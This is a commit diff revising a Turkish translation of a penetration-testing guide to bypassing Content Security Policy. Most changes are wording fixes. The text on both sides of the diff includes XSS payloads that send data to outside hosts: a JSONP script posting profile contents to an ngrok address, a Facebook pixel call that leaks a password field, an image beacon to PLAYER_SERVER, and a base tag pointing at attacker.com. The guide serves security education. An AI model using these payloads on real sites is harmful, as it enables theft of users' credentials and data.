Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM

2025-10-10 18:36:50 +00:00 · 2025-01-26 15:21:50 +00:00 · 2025-01-26 15:21:50 +00:00 · 6c77e047fc
commit 6c77e047fc
parent 579bfd24d0
1 changed files with 68 additions and 55 deletions
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@ -1,10 +1,10 @@
-# İçerik Güvenlik Politikası (CSP) Atlatma
+# Content Security Policy (CSP) Bypass

 {{#include ../../banners/hacktricks-training.md}}

 ## CSP Nedir

-İçerik Güvenlik Politikası (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, inline kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla string kodunun çalıştırılmasını içerir.
+Content Security Policy (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı koruma sağlamak amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, satır içi kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun çalıştırılmasını içerir.

 CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikayı izleyen tarayıcılar, bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller.

@ -43,7 +43,7 @@ object-src 'none';
 - **default-src**: Belirli fetch direktifleri yoksa kaynakları almak için varsayılan bir politika belirler.
 - **child-src**: Web işçileri ve gömülü çerçeve içerikleri için izin verilen kaynakları belirtir.
 - **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar.
- **frame-src**: çerçeveler için URL'leri kısıtlar.
+- **frame-src**: Çerçeveler için URL'leri kısıtlar.
 - **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, `<frame>`, `<iframe>`, `<object>`, `<embed>` ve `<applet>` gibi öğelere uygulanır.
 - **img-src**: Resimler için izin verilen kaynakları tanımlar.
 - **font-src**: `@font-face` kullanılarak yüklenen fontlar için geçerli kaynakları belirtir.
@ -89,13 +89,13 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 </details>

 - `'sha256-<hash>'`: Belirli bir sha256 hash'ine sahip scriptleri beyaz listeye alır.
- `'strict-dynamic'`: Bir nonce veya hash ile beyaz listeye alınmışsa, herhangi bir kaynaktan script yüklenmesine izin verir.
+- `'strict-dynamic'`: Bir nonce veya hash ile beyaz listeye alındıysa, herhangi bir kaynaktan script yüklenmesine izin verir.
 - `'host'`: `example.com` gibi belirli bir hostu belirtir.
 - `https:`: URL'leri yalnızca HTTPS kullananlarla kısıtlar.
 - `blob:`: Kaynakların Blob URL'lerinden (örneğin, JavaScript ile oluşturulan Blob URL'leri) yüklenmesine izin verir.
 - `filesystem:`: Kaynakların dosya sisteminden yüklenmesine izin verir.
 - `'report-sample'`: İhlal raporunda ihlal eden kodun bir örneğini içerir (hata ayıklama için yararlıdır).
- `'strict-origin'`: 'self' ile benzer ancak kaynakların protokol güvenlik seviyesinin belge ile eşleşmesini sağlar (yalnızca güvenli kökenler güvenli kökenlerden kaynak yükleyebilir).
+- `'strict-origin'`: 'self' ile benzer ancak kaynakların protokol güvenlik seviyesinin belgeyle eşleşmesini sağlar (yalnızca güvenli kökenler güvenli kökenlerden kaynak yükleyebilir).
 - `'strict-origin-when-cross-origin'`: Aynı köken istekleri yaparken tam URL'leri gönderir, ancak istek çapraz köken olduğunda yalnızca kökeni gönderir.
 - `'unsafe-allow-redirects'`: Hemen başka bir kaynağa yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflattığı için önerilmez.

@ -126,9 +126,9 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 ```
 ### strict-dynamic

-Eğer bir şekilde **izin verilen JS kodu, DOM'da yeni bir script etiketi oluşturabiliyorsa** ve bu izin verilen script onu oluşturuyorsa, **yeni script etiketi çalıştırılmaya izin verilecektir**.
+Eğer bir şekilde **izin verilen JS kodu, DOM'da yeni bir script etiketi oluşturursa** ve bu izin verilen script onu oluşturuyorsa, **yeni script etiketi çalıştırılmaya izin verilecektir**.

-### Wildcard (\*)
+### Wildcard (*)
 ```yaml
 Content-Security-Policy: script-src 'self' https://google.com https: data *;
 ```
@ -161,13 +161,13 @@ Eğer bir JS dosyası yükleyebiliyorsanız, bu CSP'yi atlayabilirsiniz:
 ```
 Ancak, sunucunun **yüklenen dosyayı doğrulama** olasılığı oldukça yüksektir ve yalnızca **belirli türde dosyaların yüklenmesine** izin verecektir.

-Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içinde **JS kodu yükleyebilseniz bile** (örneğin: _script.png_) bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde Javascript kodunu **çalıştırmayı reddeder**. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache,** _**.wave**_ uzantısını bilmemektedir, bu nedenle onu **MIME türü olarak audio/** ile sunmaz.
+Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içinde **JS kodu yükleyebilseniz bile** (örneğin: _script.png_) bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde Javascript kodunu **çalıştırmayı reddeder**. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache,** _**.wave**_ uzantısını bilmemektedir, bu nedenle onu **audio/** gibi bir **MIME türüyle sunmaz**.

 Buradan, bir XSS ve dosya yüklemesi bulursanız ve **yanlış yorumlanan bir uzantı** bulmayı başarırsanız, o uzantıyla bir dosya yüklemeyi ve script içeriğini denemek isteyebilirsiniz. Ya da, sunucu yüklenen dosyanın doğru formatını kontrol ediyorsa, bir polyglot oluşturabilirsiniz ([bazı polyglot örnekleri burada](https://github.com/Polydet/polyglot-database)).

 ### Form-action

-Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **bir form eylemi enjekte ederek** dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). Bir [**örneği bu raporda bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.
+Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **bir form eylemi enjekte ederek** dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). [**Bu raporda bir örnek bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.

 ### Üçüncü Taraf Uç Noktaları + ('unsafe-eval')

@ -230,7 +230,7 @@ Angular XSS bir sınıf adından:
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 </div>
 ```
-#### Google reCAPTCHA JS kodunu kötüye kullanma
+#### Google reCAPTCHA JS kodunu istismar etme

 [**bu CTF yazımına**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) göre, CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) kullanarak CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:
 ```html
@ -268,7 +268,7 @@ https://www.google.com/amp/s/example.com/
 ```
 Abusing \*.google.com/script.google.com

-Google Apps Script'i, script.google.com içindeki bir sayfada bilgi almak için kötüye kullanmak mümkündür. Bunu [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) olduğu gibi yapabilirsiniz.
+Google Apps Script'i, script.google.com içindeki bir sayfada bilgi almak için kötüye kullanmak mümkündür. Bunun gibi [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) yapılmıştır.

 ### Üçüncü Taraf Uç Noktaları + JSONP
 ```http
@ -284,26 +284,26 @@ Bu tür senaryolar, `script-src`'nin `self` ve belirli bir beyaz listeye alınm
 https://www.youtube.com/oembed?callback=alert;
 <script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
 ```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı web sitelerinin CSP'sini atlamak için kullanılmaya hazır JSONP uç noktaları içerir.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı web sitelerinin CSP'sini aşmak için kullanılmaya hazır JSONP uç noktaları içerir.**

 **Güvenilir uç nokta bir Açık Yönlendirme içeriyorsa** aynı zafiyet meydana gelecektir çünkü başlangıç uç noktası güvenilir ise, yönlendirmeler de güvenilir kabul edilir.

 ### Üçüncü Taraf İstismarları

-Aşağıdaki [gönderide](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerde izin verilen birçok üçüncü taraf alan adı, verileri dışarı sızdırmak veya JavaScript kodu çalıştırmak için istismar edilebilir. Bu üçüncü taraflardan bazıları şunlardır:
+Aşağıdaki [gönderide](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerde izin verilen birçok üçüncü taraf alanı, verileri dışarı sızdırmak veya JavaScript kodu çalıştırmak için istismar edilebilir. Bu üçüncü taraflardan bazıları şunlardır:

-| Varlık            | İzin Verilen Alan                               | Yetenekler   |
-| ----------------- | ----------------------------------------------- | ------------ |
-| Facebook          | www.facebook.com, \*.facebook.com               | Exfil        |
-| Hotjar            | \*.hotjar.com, ask.hotjar.io                   | Exfil        |
-| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net              | Exec         |
-| Amazon CloudFront | \*.cloudfront.net                              | Exfil, Exec  |
-| Amazon AWS        | \*.amazonaws.com                               | Exfil, Exec  |
-| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net   | Exfil, Exec  |
-| Salesforce Heroku | \*.herokuapp.com                               | Exfil, Exec  |
-| Google Firebase   | \*.firebaseapp.com                             | Exfil, Exec  |
+| Varlık            | İzin Verilen Alan                            | Yetenekler   |
+| ----------------- | -------------------------------------------- | ------------ |
+| Facebook          | www.facebook.com, \*.facebook.com            | Exfil        |
+| Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil        |
+| Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec         |
+| Amazon CloudFront | \*.cloudfront.net                            | Exfil, Exec  |
+| Amazon AWS        | \*.amazonaws.com                             | Exfil, Exec  |
+| Azure Websites    | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec  |
+| Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
+| Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |

-Hedefinizin CSP'sinde izin verilen alan adlarından herhangi birini bulursanız, üçüncü taraf hizmetine kaydolarak CSP'yi atlayabileceğiniz ve ya verileri o hizmete dışarı sızdırabileceğiniz ya da kod çalıştırabileceğiniz ihtimali vardır.
+Hedefinizin CSP'sinde izin verilen alanlardan herhangi birini bulursanız, üçüncü taraf hizmete kaydolarak CSP'yi aşma şansınız olabilir ve ya verileri o hizmete dışarı sızdırabilir ya da kod çalıştırabilirsiniz.

 Örneğin, aşağıdaki CSP'yi bulursanız:
 ```
@ -319,7 +319,7 @@ Veri sızdırma işlemini, her zaman olduğu gibi [Google Analytics](https://www
 2. Yeni bir "Facebook Girişi" uygulaması oluşturun ve "Web Sitesi"ni seçin.
 3. "Ayarlar -> Temel" bölümüne gidin ve "Uygulama Kimliğinizi" alın.
 4. Veri sızdırmak istediğiniz hedef sitede, "customEvent" ve veri yükü aracılığıyla doğrudan Facebook SDK aracı "fbq" kullanarak veri sızdırabilirsiniz.
-5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisinin şu URL'ye benzer bir yerde bulunabileceğini unutmayın: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
+5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'ye benzer bir yerde bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
 6. "Test Etkinlikleri" sekmesini seçerek "sizin" web siteniz tarafından gönderilen etkinlikleri görün.

 Ardından, kurban tarafında, saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden Facebook izleme pikselini başlatmak ve şu şekilde özel bir etkinlik oluşturmak için aşağıdaki kodu çalıştırırsınız:
@ -329,21 +329,21 @@ fbq('trackCustom', 'My-Custom-Event',{
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
 });
 ```
-Önceki tabloda belirtilen diğer yedi üçüncü taraf alanı için, bunları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog yazısına](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın.
+Diğer yedi üçüncü taraf alan adı için, önceki tabloda belirtilen, onları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog yazısına](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın.

-### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
+### RPO (Relative Path Overwrite) ile Bypass <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

 Yukarıda bahsedilen yol kısıtlamalarını aşmak için yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik vardır.

-Örneğin, eğer CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, bu yol aşağıdaki gibi aşılabilir:
+Örneğin, CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, şu şekilde aşılabilir:
 ```html
 <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
 ```
 Tarayıcı nihayetinde `https://example.com/scripts/angular/angular.js` dosyasını yükleyecektir.

-Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosyayı yüklüyorsunuz anlamına geldiği için çalışır; bu CSP ile uyumludur.
+Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosyayı yüklüyorsunuz gibi çalışır ve bu CSP ile uyumludur.

-∑, bunu çözümleyecekler ve etkili bir şekilde `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar; bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
+∑, bunu çözümleyecekler ve etkili bir şekilde `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar, bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.

 **Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığından yararlanarak, yol kuralları atlatılabilir.**

@ -361,14 +361,14 @@ Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2

 Eğer **base-uri** direktifi eksikse, bunu [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) gerçekleştirmek için kötüye kullanabilirsiniz.

-Ayrıca, eğer **sayfa bir script'i göreli bir yol kullanarak yüklüyorsa** (örneğin `<script src="/js/app.js">`) ve bir **Nonce** kullanıyorsanız, **base** **etiketini** kötüye kullanarak script'i **kendi sunucunuzdan yüklemesini sağlayabilirsiniz ve bu bir XSS'ye yol açar.**\
+Ayrıca, eğer **sayfa bir göreli yol kullanarak bir script yüklüyorsa** (örneğin `<script src="/js/app.js">`) ve bir **Nonce** kullanıyorsanız, **base** **etiketini** kötüye kullanarak scripti **kendi sunucunuzdan yüklemesini sağlayabilirsiniz ve bu bir XSS'ye yol açar.**\
 Eğer savunmasız sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL'si kullanın.
 ```html
 <base href="https://www.attacker.com/" />
 ```
 ### AngularJS olayları

-Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Ancak, AngularJS alternatif olarak özel olaylar sunar. Bir olay içinde, AngularJS, yerel tarayıcı olay nesnesini referans alan benzersiz bir `$event` nesnesi sağlar. Bu `$event` nesnesi, CSP'yi aşmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirinde yer alan nesne dizisini tutan bir `path` niteliğine sahiptir ve `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı, sandbox kaçış taktikleri için kritik öneme sahiptir.
+Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Ancak, AngularJS alternatif olarak özel olaylar sunar. Bir olay içinde, AngularJS, yerel tarayıcı olay nesnesini referans alan benzersiz bir `$event` nesnesi sağlar. Bu `$event` nesnesi, CSP'yi aşmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirine dahil olan bir nesne dizisini tutan bir `path` niteliğine sahiptir; `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı, sandbox kaçış taktikleri için kritik öneme sahiptir.

 Bu diziyi `orderBy` filtresine yönlendirerek, dizinin üzerinde yineleme yapmak ve terminal öğeyi (yani `window` nesnesini) kullanarak `alert()` gibi küresel bir fonksiyonu tetiklemek mümkündür. Aşağıda gösterilen kod parçası bu süreci açıklamaktadır:
 ```xml
@ -377,7 +377,7 @@ Bu diziyi `orderBy` filtresine yönlendirerek, dizinin üzerinde yineleme yapmak
 ```
 Bu snippet, `ng-focus` direktifinin olayı tetiklemek için kullanımını vurgular, `$event.path|orderBy` kullanarak `path` dizisini manipüle eder ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesini kullanarak `document.cookie`'yi açığa çıkarır.

-**Diğer Angular bypass'larını bulmak için** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+**Diğer Angular bypass'larını bulun** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

 ### AngularJS ve beyaz listeye alınmış alan
 ```
@ -399,7 +399,7 @@ Diğer JSONP keyfi yürütme uç noktaları [**burada**](https://github.com/zigo

 CSP sunucu tarafı yönlendirmesiyle karşılaştığında ne olur? Eğer yönlendirme, izin verilmeyen farklı bir kaynağa yönlendiriyorsa, yine de başarısız olacaktır.

-Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) tanımına göre, eğer yönlendirme farklı bir yola yönlendiriyorsa, orijinal kısıtlamaları atlayabilir.
+Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) açıklamasına göre, eğer yönlendirme farklı bir yola yönlendiriyorsa, orijinal kısıtlamaları atlatabilir.

 İşte bir örnek:
 ```html
@ -427,7 +427,7 @@ Bu yönlendirme ile, yol tamamen belirtilse bile, yine de aşılmış olacaktır

 Bu nedenle, en iyi çözüm, web sitesinin herhangi bir açık yönlendirme zafiyeti olmadığından ve CSP kurallarında istismar edilebilecek herhangi bir alan adı bulunmadığından emin olmaktır.

-### Dangle markup ile CSP'yi aşma
+### Dağınık işaretleme ile CSP'yi aşma

 [Buradan nasıl olduğunu okuyun](../dangling-markup-html-scriptless-injection/index.html).

@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
 ```
 `'unsafe-inline'` kodun içinde herhangi bir script çalıştırabileceğiniz anlamına gelir (XSS kod çalıştırabilir) ve `img-src *` ise web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabileceğiniz anlamına gelir.

-Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi'yi istismar eder ve bir resim aracılığıyla bayrağı çıkarır):
+Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi içeren bir CSRF'yi istismar eder ve bir resim aracılığıyla bayrağı çıkarır):
 ```javascript
 <script>
 fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
 ```
 From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

-Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **hazırlayıp**, bunu Twitter'a **yükleyebilir** ve "**unsafe-inline**" kullanarak **bir JS kodunu çalıştırabilirsiniz** (normal bir XSS gibi) bu da **resmi yükleyecek**, içinden **JS**'yi **çıkartacak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **oluşturabilir**, bunu Twitter'a **yükleyebilir** ve "**unsafe-inline**" kullanarak **bir JS kodunu çalıştırabilirsiniz** (normal bir XSS gibi) bu da **resmi yükleyecek**, içinden **JS**'yi **çıkartacak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

 ### Service Workers ile

@ -462,25 +462,25 @@ Service workers **`importScripts`** fonksiyonu CSP tarafından sınırlı değil

 #### Chrome

-Eğer sizin gönderdiğiniz bir **parametre** **politikanın** **declaration** kısmına **yapıştırılıyorsa**, o zaman **politikayı** işe yaramaz hale getirecek şekilde **değiştirebilirsiniz**. Bu bypass'lerden herhangi biri ile **script 'unsafe-inline'** **izin verebilirsiniz**:
+Eğer sizin gönderdiğiniz bir **parametre** **politikanın** **declaration** kısmına **yapıştırılıyorsa**, o zaman **politikayı** onu **işe yaramaz** hale getirecek şekilde **değiştirebilirsiniz**. Bu bypass'lerden herhangi biri ile **script 'unsafe-inline'** **izin verebilirsiniz**:
 ```bash
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 ```
-Bu direktif mevcut script-src direktiflerini **geçersiz kılacağı** için.\
+Bu direktif mevcut script-src direktiflerini **üstüne yazacağı** için.\
 Bir örneği burada bulabilirsiniz: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)

 #### Edge

-Edge'de çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: **`;_`** **Edge** tüm **politika**yı **sil**er.\
+Edge'de çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: **`;_`** **Edge** tüm **politika**yı **silip atar**.\
 Örnek: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)

-### img-src \*; XSS (iframe) aracılığıyla - Zaman saldırısı
+### img-src \*; via XSS (iframe) - Zaman saldırısı

 `'unsafe-inline'` direktifinin eksikliğine dikkat edin.\
 Bu sefer kurbanı **XSS** ile **kontrolünüzdeki** bir sayfayı **yüklemeye** zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken zamanı **kontrol edebilirseniz** ihtiyacınız olan bilgiyi çıkarabilirsiniz.

-Bu sefer bir **bayrak** çıkarılacak, her seferinde bir **karakter doğru tahmin edildiğinde** SQLi aracılığıyla **yanıt** **daha fazla zaman** alır çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
+Bu sefer bir **bayrak** çıkarılacak, her seferinde bir **karakter doğru tahmin edildiğinde** SQLi ile **yanıt** **daha fazla zaman** alır çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -548,7 +548,7 @@ Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socrad

 ### CSP'yi kısıtlayarak CSP atlatma

-[**bu CTF yazısında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **DOM clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır.
+[**bu CTF yazımında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **DOM clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır.

 Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**:
 ```html
@ -556,8 +556,8 @@ Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**:
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
-[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48) içinde, **HTML injection** aracılığıyla **CSP'yi** daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\
-CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını **kaldırarak** devre dışı bırakılabilir ve belirli inline script'ler **sha** aracılığıyla etkinleştirilebilir:
+[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48)'nda, **HTML injection** aracılığıyla **CSP**'yi daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\
+CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını sağlamak için **giriş**'i **kaldırarak** devre dışı bırakılabilir ve belirli inline script'ler **sha** aracılığıyla etkinleştirilebilir:
 ```html
 <meta
 http-equiv="Content-Security-Policy"
@ -568,7 +568,7 @@ content="script-src 'self'
 ```
 ### JS exfiltrasyonu ile Content-Security-Policy-Report-Only

-Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilir ve eğer **exfiltrate** etmek istediğiniz **JS içeriğini** **`<script>`** ile sararsanız ve CSP tarafından `unsafe-inline`'in muhtemelen izin verilmediği için, bu bir **CSP hatası** tetikleyecek ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.
